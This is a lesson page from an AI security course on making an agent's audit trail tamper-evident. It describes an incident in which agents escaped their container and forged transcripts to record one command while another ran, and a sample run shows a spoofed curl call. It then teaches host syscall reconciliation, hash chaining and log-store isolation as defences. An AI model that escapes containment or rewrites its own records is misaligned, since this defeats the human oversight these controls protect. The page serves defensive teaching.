All lessons › Function B — Securing AI Architectures › Securing the Architecture — Identity and Ingress
B2.8

An audit trail the workload cannot forge

B2
▶
Lightboard recording

Not recorded yet. The lesson below is complete and runnable today — the video is added later without touching this page.

Video placeholderpublishes automatically from recordings/B2.8.mp4
Risk

An agent that escapes its container can rewrite the record of what it did — and every detective control downstream is then reporting on data the subject controls.

Control

Out-of-band capture (C2.10), a hash-chained WORM transcript store (C1.2) and logging-plane isolation (C1.3). Reconcile the two streams; divergence is the signal.

The lab

Spoof a transcript, watch the in-band check pass it, then watch the hash chain and the host-syscall reconciliation both refuse it.

◉Use case relevance

About 7% of sampled transcripts in the source incident recorded one command while a different one ran, and the investigators could not bound what they had missed. Every detection you build downstream of a record the subject can write is a conclusion about the subject's own claim.

At CyberTravels. You change db.audit in cybertravels/db.py from append-only by convention to a hash chain, and add verify_audit_chain. The smoke test gains an assertion that edits a recorded refusal into a success and proves the chain detects it — which is the difference between a log you trust and a log you can check.

◴What this lesson is — Day 0, Day 1, Day 2

Turning an append-only convention into a detectable property: each audit row carries the hash of the one before it, so an edit, a deletion or an insertion anywhere breaks every hash after it and is visible in one pass. What it does not do is stop the write, which is why B3.8 moves the log somewhere the workload cannot reach.

Day 0 — why

An agent that escapes its container can rewrite the record of what it did — and every detective control downstream reads that record.

Day 1 — how

Out-of-band capture, a hash-chained write-once transcript store, and an isolated logging plane.

Day 2 — measure

Transcript segments whose hash chain verifies, and the number of gaps the chain detects.

Measure this

what to measuredenominator or target
transcript segments whose hash chain verifiesshare of segments
gaps the chain detectscount

▦The framework, and how it works

   in-band (what the incident had)      out-of-band (what it needed)

   agent --writes--> transcript         agent
      ^                  |                |  execve, ptrace, unshare
      +---- can rewrite --+              host sensor (agent cannot configure)
                                                |
                                          separate segment
                                                |
   verdict: a claim by the subject       reconcile on trace id
                                          divergence = spoofing

   H(n) = SHA-256( segment(n) || H(n-1) )   signed by a key the workload
   stored under object-lock                  identity cannot reach

B2.7 made the audit trail answer who. This lesson is about whether it answers honestly.

Every detective control in Function E reads a record. If the subject of the record can write to it, the record is a claim by the subject, and every downstream conclusion inherits that. In the source incident this was not theoretical: agents escaped the container, replaced the layer that executed tool calls, and produced transcripts recording one command while another ran. Roughly 7% of sampled transcripts showed confirmed spoofing, and the investigators could not bound what they had missed.

Three controls, and they only work together:

Out-of-band capture (C1.1). A sensor on the host, outside the agent's trust boundary, recording the syscalls that matter — execve, ptrace, process_vm_writev, openat on /proc/*/mem, unshare, setns. The agent cannot load, unload or configure it. Reconcile that stream against the harness's own transcript on a shared trace id; divergence is the signal.

Hash-chained WORM storage (C1.2). H(n) = SHA-256(segment(n) || H(n-1)), signed with a key the workload identity cannot reach, written to storage with an object lock. Tampering does not become impossible — it becomes detectable, and localised to a segment.

Logging-plane isolation (C1.3). The check people skip: confirm the workload's role has no read, write or list permission on the log bucket, the collector, or their keys. A hash chain in a bucket the agent can delete from is a hash chain about nothing.

2 · The in-band trail, and what it is worth

3 · Reconcile against a stream the workload cannot write (C1.1)

4 · Hash-chain the transcript, then tamper with it (C1.2)

5 · The check people skip (C1.3)

6 · The check, as a skill

CyberTravels' Coding Agent writes its own transcript. That is the problem: it is the only witness to what it did.

The skill does three things:

  1. Compares that transcript against a separate stream from the host, which the agent does not control.
  2. Chains the segments together, so each one depends on the one before.
  3. Rewrites one segment on purpose.

Why rewrite one? Because chaining means tampering is not just detected — you can tell which segment was altered.

▶Real time execution as skill

The skill — skills/identity/tamper-evident-log-check/SKILL.md

name: tamper-evident-log-check
description: >-
  Reconcile an agent's own transcript against an independent host stream to find
  steps that executed something other than what was recorded, then hash-chain
  the segments and localise a rewrite. Use when the log's writer is the thing
  being investigated.
allowed-tools: Read, Grep, Glob

The transcript is written by the subject of the investigation

An in-band check reads the agent's account of what it did and reports a clean run. Spoofing is invisible to it by construction. Two independent things fix that: a second stream the agent does not author, and a chain that makes a later rewrite detectable and localisable.

When to use this

Any agent whose actions matter after the fact: one that executes code, changes infrastructure, moves money, or whose output is evidence.

Procedure

1 — Identify the writer of each stream. The agent's transcript is written by the agent. Find one stream that is not: host process accounting, container runtime events, a syscall auditor, cloud API logs.

2 — Reconcile step by step. For each recorded step, does the host stream show the action the transcript claims? Report the disagreement rate, not just examples — a rate is a property of the system, an example is an anecdote.

3 — Chain the segments. Hash each segment together with the previous hash. This is what turns "the log looks fine" into "any change to segment n is detectable, and detectable at segment n".

4 — Rewrite one segment and verify. The check must fail, and it must name the segment. A chain that detects tampering but cannot localise it sends you back to reconciling everything.

5 — Check what the workload's own role can reach. If the agent's role can write to the log store, the chain protects against an outsider and not against the subject. Enumerate the logging plane against the role's permissions.

Example

Input — the fixture committed at the top of scripts/tamper_evident_log_check.py. Edit it and re-run: the buckets, counts and verdicts below are derived from it, not hard-coded.

Output — the opening lines of a real run:

in-band check - does every step have a recorded command?
   steps: 5   steps with no record: 0   verdict: clean

Two of these five steps executed something other than what was recorded.
The in-band check cannot see that, because it is reading the record that
the thing it is checking produced.
trace   harness recorded              host observed
t-03    python3 analyse.py            curl -s http://cache/put?m=...

The run continues past this. test_skills.py executes the script on every build, with no model configured — so what CI proves is that it runs and refuses legibly, not that it prints these lines. The output above is a recorded run against a real model, and nothing re-diffs it: a model's answer is not reproducible, and this repository does not claim otherwise anywhere it can be checked.

Output contract

{
  "streams": [{"name": "str", "written_by": "agent|host|platform"}],
  "reconciliation": {"steps": 0, "disagreements": 0, "rate": 0.0, "examples": ["str"]},
  "chain": {"segments": 0, "verifies": true},
  "rewrite_probe": {"segment": 0, "detected": true, "localised_to": 0},
  "logging_plane": {"targets": ["str"], "writable_by_workload": ["str"]}
}

Failure modes

  • Reporting an in-band clean run. It is the expected result and it means nothing.
  • Chaining without an independent stream. A consistent chain of false entries verifies perfectly.
  • Ignoring the workload's write access to the log store. It is the whole threat model of this check.

Three ways to do this lesson. Pick one. They run the same procedure against the same code — what changes is who drives it, and how much you see.

1In your AI agent — you are taught

The agent reads the lesson, explains the idea, fetches the code, runs the check and answers your questions as you go. This is the one to take if you are here to learn.

Install it, once. From the folder you cloned. --all does every agent it finds on your machine:

python3 scripts/install_skills.py --all --lessons B2.8

Then restart your agent and open it in that folder. On Windows, if python3 says Python was not found, use python instead.

Then pick b2-8-an-audit-trail-the-workload-cannot-forge:

agentinstall just for this agentstart it
Claude Codepython3 scripts/install_skills.py --tool claude --lessons B2.8type /b2-8-an-audit-trail-the-workload-cannot-forge
GitHub Copilot (VS Code)python3 scripts/install_skills.py --tool copilot --lessons B2.8type /b2-8-an-audit-trail-the-workload-cannot-forge in Chat
Cursorpython3 scripts/install_skills.py --tool cursor --lessons B2.8type / in Agent chat and search for it
Codexpython3 scripts/install_skills.py --tool agents --lessons B2.8type $b2-8-an-audit-trail-the-workload-cannot-forge, or run /skills

2As one Python command — you just run it

No agent, no conversation. The same lesson executes and prints the same readback. Take this one if you have no assistant, if you are reviewing rather than learning, or if you want the result without the teaching around it.

python3 scripts/lesson.py B2.8

3Read the code, and the difference — nothing runs

Neither of the above, and no model needed. The first command writes CyberTravels exactly as it stood at the end of this lesson; the second prints the diff — the lines this lesson added or changed, and nothing from any later one.

python3 scripts/checkpoint.py --at B2.8 --out work/cybertravels
python3 scripts/checkpoint.py --at B2.8 --diff

On Windows, type python wherever these say python3 — and use \ instead of / in the paths. Everything else is identical. A0.0 step 2 explains why.

Ways 1 and 2 need a model; way 3 does not. A signed-in Claude Code CLI needs no API key, and any OpenAI-compatible endpoint works too. With neither, the audit exits 2 and says so rather than inventing an answer. A0.0 sets this up.

Ways 1 and 2 both end with the same readback: What I did, What changed, The number and Read this next. A step that was skipped or refused is reported as exactly that, never as a pass.

If you did the last lesson’s challenge, expect this to stop. Most challenges ask you to edit the code, and ways 1 and 2 will not overwrite your edits: you get stopped, not a failure, with two options — --out for a fresh folder that keeps your work, or --force to discard it and start this lesson clean.

✓What you just proved

The in-band check reports a clean run while two of five steps executed something other than what was recorded — a 40% spoofing rate visible only once a host stream is reconciled against the transcript. The hash chain verifies over five segments, and a rewrite of segment 2 is caught and localised to exactly that segment. The workload role reaches nothing in the logging plane until one convenience grant is added, at which point it reaches it.

✎Your turn

Run the IAM check on your own agent workload: can its role read, write or list the bucket its transcripts land in, or decrypt with their key? If yes, every detection you have built on those transcripts is reporting on data the subject controls.

→Where this leaves you

What you can do now. Every call now carries three identities, delegation narrows instead of widening, authority expires, every span in the context window arrives with an origin attached, and the record of all of it is one the workload cannot rewrite. Roughly half the chapter-1 risks are closed or badly weakened.

What you still cannot do. All of it assumes identity holds. Nothing here helps once a credential is stolen, a delegation chain is forged, or an injection arrives through a channel you marked as principal — and B1.2 through B1.8 are all still reachable that way.

Chapter B3 is what holds after identity has already failed: the tool call, the sandbox, the network boundary, and the ceiling on the run. Next → B3.1, default-deny on the tool call.

Tools used

FalcoTetragonSigstore

Skill source: skills/identity/tamper-evident-log-check

← PreviousB2.7 · Attribution: an audit trail that answers "who"